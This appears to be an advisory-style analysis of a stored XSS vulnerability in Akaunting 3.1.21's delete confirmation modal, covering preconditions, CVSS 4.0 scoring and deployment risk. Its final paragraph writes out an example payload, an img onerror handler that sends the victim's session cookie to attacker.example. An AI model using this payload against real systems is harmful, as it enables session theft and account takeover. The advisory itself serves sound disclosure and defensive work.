Akaunting CVE-2026-11942

The attacker must be authenticated to Akaunting 3.1.21 and hold sufficient role-based permissions to create or modify records in modules that use the shared delete confirmation flow - explicitly, the Items module is confirmed in the description, and other record types using the same reusable component may also be affected. A second precondition is that a victim user (typically with higher privileges, such as an administrator, who would initiate deletions) must navigate to and trigger the delete confirmation dialog for the attacker-controlled record, causing the unsanitized name to be rendered in their browser context. Exploitation is therefore limited by: (1) the attacker's need for authenticated record-modification access (PR:H per CVSS), (2) passive victim interaction with the delete UI (UI:P), and (3) the specific Akaunting 3.1.21 release. Default installations where all users are trusted administrators reduce the privilege-escalation value of this attack. Multi-tenant or SaaS deployments where lower-trust users are granted item-creation roles represent the highest-risk scenario.

The CVSS 4.0 score of 4.8 (Medium) accurately reflects the constrained real-world risk profile. The PR:H metric signals that an attacker must already hold meaningful permissions within the Akaunting instance - specifically, the ability to create or modify records such as Items - which substantially limits the attack surface. The UI:P metric adds a further dependency: a second user must trigger the delete confirmation dialog for the poisoned record before the payload fires. Impact metrics (VC:L/VI:L and SC:L/SI:L) are consistent with a classic stored XSS outcome: limited session data disclosure and potential for low-integrity actions within the victim's browser context. No EPSS data was provided for this CVE, and it is absent from CISA KEV, meaning no confirmed active exploitation is known. The combination of high-privilege prerequisite, required victim interaction, and medium severity scoring positions this as a genuine but non-critical risk - higher priority in multi-tenant SaaS Akaunting deployments where untrusted users hold record-modification roles than in tightly controlled single-organization installations.

An attacker with Item creation privileges in Akaunting logs in and creates a new Item record with a name containing a JavaScript payload such as '<img src=x onerror=document.location="https://attacker.example/steal?c="+document.cookie>'. When an administrator or another authenticated user navigates to delete that Item and the reusable delete confirmation modal renders the record name, the embedded script executes silently in the victim's browser, potentially exfiltrating session cookies or performing authenticated actions on their behalf. No public proof-of-concept code has been identified at time of analysis, but the attack technique is well-understood and the barrier to exploitation is low once the attacker holds record-modification access.